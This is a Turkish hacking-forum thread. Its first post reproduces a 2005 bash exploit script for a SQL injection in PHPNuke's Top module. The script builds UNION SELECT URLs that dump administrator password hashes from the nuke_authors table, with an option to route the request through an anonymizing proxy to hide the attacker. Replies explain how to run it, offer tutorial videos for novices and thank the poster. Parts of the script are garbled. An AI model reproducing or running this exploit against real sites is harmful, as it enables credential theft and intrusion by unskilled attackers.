saldırgan çalştırdığı scriple uzakdan sql e bağlantı sağlanabiliyor ve admin exploit test edildi phpNuke bu sürümleri expolit: #/bin/bash # This is just basic-ly modules. php?name=Top&querylang=union%20select%200, pwd,0,0%20from%20nuke _authors%20where%20radminsuper=1 # works thou /str0ke # # # by Fabrizi Andrea 2005 # andrea. fabrizi gmail.com # # Work with the PHPNuke latest version! # URL=$1; PATH="$2/"; ANON="http://anonymouse.ws/cgi-bin/anon-www. cgi/"; echo -e "\n PHPNuke Top Module Remote SQL Injection" echo -e " by Fabrizi Andrea 2005" if ; then echo -e "\n USAGE: $0 " echo -e " Example: $0 www.site.net phpNuke\n" exit fi; if ; then PATH=""; fi; #anon_query_url="$ANON""http://$URL/$PATH""modules. php?name=Top&querylang=union/ /%20select%200, pwd,0,0%20from%20nuke_authors%20wher e%20radminsuper=1"; anon_query_url="$ANON""http://$URL/$PATH""modules. php?name=Top&querylang=union%20sele ct%200, pwd,0,0%20from%20nuke _authors%20where%20radminsuper=1"; #changed line /str0ke #query_url="http://$URL/$PATH""modules. php?name=Top&querylang=union/ /%20select%200, pwd,0,0%20from%20nuke_authors%20wher e%20radminsuper=1"; query_url="http://$URL/$PATH""modules. php?name=Top&querylang=union%20sele ct%200, pwd,0,0%20from%20nuke _authors%20where%20radminsuper=1"; #changed line /str0ke echo -e "\n - Anonymous Query URL: "$anon_query_url "\n"; echo -e " - Direct Query URL: " $query_url "\n"; echo -e " - If this version of PHPNuke is vurnerable you can see the Admin's Passwords Hashes at the end of 'Most voted polls' List!\n"bilmeyen arkadaşlarım isterse açıklama yaparım, gerekirse videoda hazırlarız :) bu hayatin taaaaa a. q.

eyw. aga bildiklerimizi ve grdüklerimizi paylaşıyoruz maksat daha tecrübesiz arkadaşlara yardımcı olmak. Hem merak etme nasıl başladıysak yle devam ederiz ;) bu hayatin taaaaa a. q.

Tabi bunu kullanmak için linux kullanmanız gerekiyor :) Kullananlar varsa bir komut calıstırmaları gerekiyor exploit'i kullanmadan once. Exploiti kaydettikten sonra;$ chmod +x exploitadi$ ./exploityaparak calıstırabilirsiniz.

tşk ler saol ya ben bi site kuracam bana yardım eden yarmı php nuke ile ilgili imza yok mühür bassak..

istanbullu senin nickin altındaki çmlüğü silelim ya syleyelim de silinsin sen daha ilk günden foruma abandın :) yalnız ilk gün abanıp bırakma ;) Hoop.

tşk iyi güzel paylaşım alıntı olduğu biliniyordu zaten servey